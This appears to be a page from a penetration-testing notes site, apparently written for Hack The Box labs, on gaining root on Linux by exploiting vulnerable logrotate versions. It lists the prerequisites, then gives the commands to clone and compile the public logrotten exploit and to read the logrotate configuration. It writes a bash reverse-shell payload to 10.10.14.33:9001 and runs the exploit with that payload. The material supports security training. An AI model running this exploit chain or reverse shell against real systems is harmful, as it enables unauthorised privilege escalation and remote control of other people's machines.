> For the complete documentation index, see [llms.txt](https://intrusionz3r0.gitbook.io/intrusionz3r0/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://intrusionz3r0.gitbook.io/intrusionz3r0/linux-penetration-testing/privilege-escalation/exploit-logrotate.md).

# Exploit Logrotate

To exploit `logrotate`, we need some requirements that we have to fulfill.

<figure><img src="https://3625372132-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMZZ5b7ge25IjFldP6WSt%2Fuploads%2FLu4m7EXZouOEm2FO66ZH%2Fimage%20(4).png?alt=media&amp;token=01344bbd-f535-4949-8fb3-32edde65fedf" alt=""><figcaption></figcaption></figure>

1. we need `write` permissions on the log files
2. logrotate must run as a privileged user or `root`
3. vulnerable versions:
   * 3.8.6
   * 3.11.0
   * 3.15.0
   * 3.18.0

[GitHub - whotwagner/logrotten](https://github.com/whotwagner/logrotten.git)

```yaml
Intrusionz3r0@htb[/htb]$ git clone <https://github.com/whotwagner/logrotten.git>
Intrusionz3r0@htb[/htb]$ cd logrotten
Intrusionz3r0@htb[/htb]$ gcc logrotten.c -o logrotten

#List logs files
Intrusionz3r0@htb[/htb]$  cat /var/lib/logrotate.status

#List the available options
Intrusionz3r0@htb[/htb]$ grep "create\\|compress" /etc/logrotate.conf | grep -v "#"

#Write payload
Intrusionz3r0@htb[/htb]$ echo 'bash -i >& /dev/tcp/10.10.14.33/9001 0>&1' > payload

Intrusionz3r0@htb[/htb]$ ./logrotten -p ./payload /tmp/tmp.log
```